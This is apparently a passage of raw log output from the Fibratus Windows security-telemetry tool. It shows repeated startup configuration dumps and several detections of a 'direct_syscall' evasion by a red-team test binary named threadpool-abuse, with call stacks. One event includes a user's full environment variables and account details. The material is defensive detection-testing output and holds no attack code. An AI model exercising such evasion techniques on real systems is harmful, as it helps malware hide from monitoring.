C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:14:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:14:43+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:14:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:15:11+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:15:11+01:00 level=info msg=bootstrapping with pid 7132. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:15:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ content-type=>text/html port=>25 to=>[] enabled=>false use-template=>true] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-mem=>false enable-threadpool=>true enable-fileio=>true enable-handle=>false enable-thread=>true enable-audit-api=>true flush-interval=>1s buffer-size=>512 enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-vamap=>true enable-dns=>false min-buffers=>16 enable-image=>true enable-registry=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text max-size=>100 log-stdout=>true max-backups=>15 level=>info] + output ......................... [ http=>[ endpoints=>[] serializer=>json enabled=>false timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false method=>POST] elasticsearch=>[ healthcheck-timeout=>5s flush-period=>1s enabled=>false sniff=>false index-name=>fibratus trace-log=>false bulk-workers=>1 healthcheck=>true template-name=>fibratus gzip-compression=>false timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s] amqp=>[ delivery-mode=>transient enabled=>false durable=>false timeout=>5s vhost=>/ passive=>false exchange=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange-type=>topic routing-key=>fibratus] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s excluded-files=>[] skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false excluded-procs=>[] fastscan=>true skip-files=>false skip-mmaps=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:15:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:15:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:15:15+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1462082 + Pid: 19504 + Tid: 21884 + Type: SubmitThreadpoolWork + CPU: 6 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:15:14.9778703 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 218e93e1a80, subprocess_tag➜ 0, task_id➜ 218e93f3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 19504 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:15:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:15:59+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:15:59+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:16:53+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:16:53+01:00 level=info msg=bootstrapping with pid 14012. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:16:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ port=>25 enabled=>false content-type=>text/html to=>[] use-template=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-net=>true enable-vamap=>true enable-dns=>false enable-handle=>false enable-registry=>true flush-interval=>1s max-buffers=>36 stack-enrichment=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-threadpool=>true min-buffers=>16 enable-audit-api=>true enable-fileio=>true enable-mem=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-size=>100 max-backups=>15 max-age=>0 formatter=>text log-stdout=>true] + output ......................... [ elasticsearch=>[ gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s enabled=>false sniff=>false healthcheck-timeout=>5s index-name=>fibratus healthcheck=>true template-name=>fibratus bulk-workers=>1 flush-period=>1s trace-log=>false timeout=>5s] http=>[ method=>POST timeout=>5s endpoints=>[] serializer=>json enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false] amqp=>[ url=>amqp://localhost:5672 passive=>false exchange=>fibratus durable=>false tls-insecure-skip-verify=>false routing-key=>fibratus timeout=>5s delivery-mode=>transient exchange-type=>topic enabled=>false vhost=>/] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] scan-timeout=>10s excluded-files=>[] fastscan=>true enabled=>false skip-registry=>false skip-mmaps=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:16:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:16:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:16:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1497469 + Pid: 19168 + Tid: 2428 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:16:59.2042383 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 2a6a5d01a80, subprocess_tag➜ 0, task_id➜ 2a6a5d13aa8 + Metadata: evasions: [direct_syscall] + + Pid: 19168 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:17:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:17:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:17:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:21:09+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:21:09+01:00 level=info msg=bootstrapping with pid 20296. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:21:09+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true port=>25 to=>[] enabled=>false content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-thread=>true flush-interval=>1s enable-mem=>false buffer-size=>512 min-buffers=>16 enable-fileio=>true enable-dns=>false enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-vamap=>true enable-handle=>false enable-image=>true enable-net=>true enable-threadpool=>true enable-registry=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text level=>info log-stdout=>true max-age=>0 max-size=>100] + output ......................... [ http=>[ enable-gzip=>false timeout=>5s method=>POST endpoints=>[] enabled=>false tls-insecure-skip-verify=>false serializer=>json] elasticsearch=>[ flush-period=>1s healthcheck=>true trace-log=>false index-name=>fibratus enabled=>false template-name=>fibratus sniff=>false healthcheck-interval=>10s gzip-compression=>false timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s bulk-workers=>1] amqp=>[ routing-key=>fibratus passive=>false url=>amqp://localhost:5672 delivery-mode=>transient timeout=>5s vhost=>/ durable=>false enabled=>false exchange=>fibratus exchange-type=>topic tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +]] + pe ............................. [ read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false scan-timeout=>10s excluded-files=>[] skip-registry=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-files=>false fastscan=>true skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:21:09+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:21:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:21:22+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1541806 + Pid: 19504 + Tid: 19744 + Type: SubmitThreadpoolWork + CPU: 1 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:21:21.7850507 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 18a49381a80, subprocess_tag➜ 0, task_id➜ 18a49393aa8 + Metadata: evasions: [direct_syscall] + + Pid: 19504 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:21:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:21:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:21:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:22:04+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:22:04+01:00 level=info msg=bootstrapping with pid 2424. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:22:04+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false to=>[] use-template=>true port=>25 content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true enable-fileio=>true enable-dns=>false enable-image=>true buffer-size=>512 enable-net=>true enable-threadpool=>true stack-enrichment=>true enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-audit-api=>true enable-thread=>true enable-mem=>false flush-interval=>1s enable-handle=>false max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true level=>info max-age=>0 max-backups=>15 formatter=>text max-size=>100] + output ......................... [ amqp=>[ exchange-type=>topic timeout=>5s enabled=>false routing-key=>fibratus passive=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false durable=>false exchange=>fibratus delivery-mode=>transient vhost=>/] http=>[ tls-insecure-skip-verify=>false endpoints=>[] enabled=>false enable-gzip=>false serializer=>json timeout=>5s method=>POST] elasticsearch=>[ flush-period=>1s healthcheck-interval=>10s template-name=>fibratus bulk-workers=>1 gzip-compression=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus healthcheck-timeout=>5s sniff=>false trace-log=>false healthcheck=>true enabled=>false timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +]] + pe ............................. [ read-resources=>false read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ fastscan=>true excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-allocs=>false excluded-procs=>[] skip-files=>false skip-mmaps=>false enabled=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:22:04+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:22:06+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:22:52+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:22:52+01:00 level=info msg=bootstrapping with pid 17008. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:22:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ to=>[] use-template=>true enabled=>false content-type=>text/html port=>25] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ stack-enrichment=>true min-buffers=>16 enable-threadpool=>true enable-dns=>false max-buffers=>36 enable-image=>true enable-registry=>true buffer-size=>512 enable-vamap=>true enable-net=>true enable-handle=>false enable-thread=>true flush-interval=>1s enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-fileio=>true] + filament ....................... [ 